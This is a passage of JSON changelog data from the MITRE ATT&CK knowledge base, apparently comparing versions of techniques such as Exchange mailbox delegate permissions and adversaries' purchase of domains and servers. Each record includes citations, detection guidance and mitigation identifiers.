 >unts.
", "changelog_mitigations": { "shared": [ "M1028: Operating System Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Access)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-19 16:54:28.516000+00:00", "modified": "2021-10-18 18:57:04.148000+00:00", "name": "Exchange Email Delegate Permissions", "description": "Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)\n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1098/002", "external_id": "T1098.002" }, { "source_name": "Microsoft - Add-MailboxPermission", "description": "Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.", "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps" }, { "source_name": "FireEye APT35 2018", "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" }, { "source_name": "Crowdstrike Hiding in Plain Sight 2018", "description": "Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.", "url": "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/" }, { "source_name": "Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452", "description": "Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved September 25, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html" }, { "source_name": "Bienstock, D. - Defending O365 - 2019", "description": "Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.", "url": "https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Microsoft Detection and Response Team (DART)", "Mike Burns, Mandiant", "Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)", "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)" ], "x_mitre_data_sources": [ "Application Log: Application Log Content", "Group: Group Modification", "User Account: User Account Modification" ], "x_mitre_detection": "Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator" ], "x_mitre_platforms": [ "Windows", "Office 365" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 18:57:04.148000+00:00\", \"old_value\": \"2020-05-04 19:18:36.254000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)\\n\\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\\u2019s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\\n\\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)\", \"old_value\": \"Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)\\n\\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)\\n \\n+Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\\u2019s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\\n+\\n This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452\", \"old_value\": \"Bienstock, D. - Defending O365 - 2019\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved September 25, 2021.\", \"old_value\": \"Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html\", \"old_value\": \"https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\\n\\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \\n\\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \\u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.\", \"old_value\": \"Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\\n\\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \\u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\\n \\n+Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \\n+\\n A larger than normal volume of emails sent from an account and similar phishing emails sent from \\u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][5]\": {\"source_name\": \"Bienstock, D. - Defending O365 - 2019\", \"description\": \"Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.\", \"url\": \"https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365\"}, \"root['x_mitre_contributors'][0]\": \"Microsoft Detection and Response Team (DART)\", \"root['x_mitre_contributors'][1]\": \"Mike Burns, Mandiant\", \"root['x_mitre_contributors'][2]\": \"Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)\", \"root['x_mitre_data_sources'][0]\": \"Application Log: Application Log Content\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may grant additional permission levels, such as t1Adversaries may grant additional permission levels, such as 
>ReadPermission or FullAccess, to maintain persistent access >ReadPermission or FullAccess, to maintain persistent access 
>to an adversary-controlled email account. The <code>Add-Mail>to an adversary-controlled email account. The <code>Add-Mail
>boxPermission</code> [PowerShell](https://attack.mitre.org/t>boxPermission</code> [PowerShell](https://attack.mitre.org/t
>echniques/T1059/001) cmdlet, available in on-premises Exchan>echniques/T1059/001) cmdlet, available in on-premises Exchan
>ge and in the cloud-based service Office 365, adds permissio>ge and in the cloud-based service Office 365, adds permissio
>ns to a mailbox.(Citation: Microsoft - Add-MailboxPermission>ns to a mailbox.(Citation: Microsoft - Add-MailboxPermission
>)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding>)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding
> in Plain Sight 2018)  This may be used in persistent threat> in Plain Sight 2018)  Adversaries may also assign mailbox f
> incidents as well as BEC (Business Email Compromise) incide>older permissions through individual folder permissions or r
>nts where an adversary can assign more access rights to the >oles. Adversaries may assign the Default or Anonymous user p
>accounts they wish to compromise. This may further enable us>ermissions or roles to the Top of Information Store (root), 
>e of additional techniques for gaining access to systems. Fo>Inbox, or other mailbox folders. By assigning one or both us
>r example, compromised business accounts are often used to s>er permissions to a folder, the adversary can utilize any ot
>end messages to other accounts in the network of the target >her account in the tenant to maintain persistence to the tar
>business while creating inbox rules (ex: [Internal Spearphis>get user\u2019s mail folders.(Citation: Remediation and Hardening
>hing](https://attack.mitre.org/techniques/T1534)), so the me> Strategies for Microsoft 365 to Defend Against UNC2452)  Th
>ssages evade spam/phishing detection mechanisms.(Citation: B>is may be used in persistent threat incidents as well as BEC
>ienstock, D. - Defending O365 - 2019)> (Business Email Compromise) incidents where an adversary ca
 >n assign more access rights to the accounts they wish to com
 >promise. This may further enable use of additional technique
 >s for gaining access to systems. For example, compromised bu
 >siness accounts are often used to send messages to other acc
 >ounts in the network of the target business while creating i
 >nbox rules (ex: [Internal Spearphishing](https://attack.mitr
 >e.org/techniques/T1534)), so the messages evade spam/phishin
 >g detection mechanisms.(Citation: Bienstock, D. - Defending 
 >O365 - 2019)
", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1032: Multi-factor Authentication" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Modification)", "DS0015: Application Log (Application Log Content)", "DS0036: Group (Group Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-09-30 16:37:40.271000+00:00", "modified": "2021-10-17 15:45:02.209000+00:00", "name": "Acquire Infrastructure", "description": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1583", "external_id": "T1583" }, { "source_name": "TrendmicroHideoutsLease", "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.", "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf" }, { "source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" }, { "source_name": "Mandiant SCANdalous Jul 2020", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation" }, { "source_name": "Koczwara Beacon Hunting Sep 2021", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Metadata", "Internet Scan: Response Content", "Domain Name: Active DNS", "Domain Name: Passive DNS", "Domain Name: Domain Registration" ], "x_mitre_detection": "Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. \n\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Metadata\", \"Internet Scan: Response Content\", \"Domain Name: Active DNS\", \"Domain Name: Passive DNS\", \"Domain Name: Domain Registration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 15:45:02.209000+00:00\", \"old_value\": \"2021-04-15 02:53:19.397000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. \\n\\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"old_value\": \"Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. 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Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n \\n Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"ThreatConnect Infrastructure Dec 2020\", \"description\": \"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.\", \"url\": \"https://threatconnect.com/blog/infrastructure-research-hunting/\"}, \"root['external_references'][3]\": {\"source_name\": \"Mandiant SCANdalous Jul 2020\", \"description\": \"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.\", \"url\": \"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation\"}, \"root['external_references'][4]\": {\"source_name\": \"Koczwara Beacon Hunting Sep 2021\", \"description\": \"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.\", \"url\": \"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)", "DS0035: Internet Scan (Response Metadata)", "DS0038: Domain Name (Active DNS)", "DS0038: Domain Name (Domain Registration)", "DS0038: Domain Name (Passive DNS)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-09-30 17:09:31.878000+00:00", "modified": "2021-10-16 17:09:26.334000+00:00", "name": "Domains", "description": "Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1583/001", "external_id": "T1583.001" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/630.html", "external_id": "CAPEC-630" }, { "source_name": "CISA MSS Sep 2020", "description": "CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-258a" }, { "source_name": "FireEye APT28", "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" }, { "source_name": "PaypalScam", "description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.", "url": "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/" }, { "source_name": "CISA IDN ST05-016", "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.", "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016" }, { "source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" }, { "source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Wes Hurd", "Vinayak Wadhwa, Lucideus", "Deloitte Threat Library Team" ], "x_mitre_data_sources": [ "Domain Name: Active DNS", "Domain Name: Passive DNS", "Domain Name: Domain Registration" ], "x_mitre_detection": "Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Domain Name: Active DNS\", \"Domain Name: Passive DNS\", \"Domain Name: Domain Registration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 17:09:26.334000+00:00\", \"old_value\": \"2021-04-15 02:50:38.792000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.\", \"old_value\": \"Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.\\n+Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\\n \\n Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][7]\": {\"source_name\": \"ThreatConnect Infrastructure Dec 2020\", \"description\": \"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.\", \"url\": \"https://threatconnect.com/blog/infrastructure-research-hunting/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0038: Domain Name (Active DNS)", "DS0038: Domain Name (Domain Registration)", "DS0038: Domain Name (Passive DNS)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 00:48:09.578000+00:00", "modified": "2021-10-17 15:39:45.736000+00:00", "name": "Server", "description": "Adversaries may buy, lease, or rent physical servers\u00a0that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.\n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1583/004", "external_id": "T1583.004" }, { "source_name": "NYTStuxnet", "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.", "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html" }, { "source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" }, { "source_name": "Mandiant SCANdalous Jul 2020", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation" }, { "source_name": "Koczwara Beacon Hunting Sep 2021", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Metadata", "Internet Scan: Response Content" ], "x_mitre_detection": "Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Metadata\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 15:39:45.736000+00:00\", \"old_value\": \"2021-04-15 02:51:18.167000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": 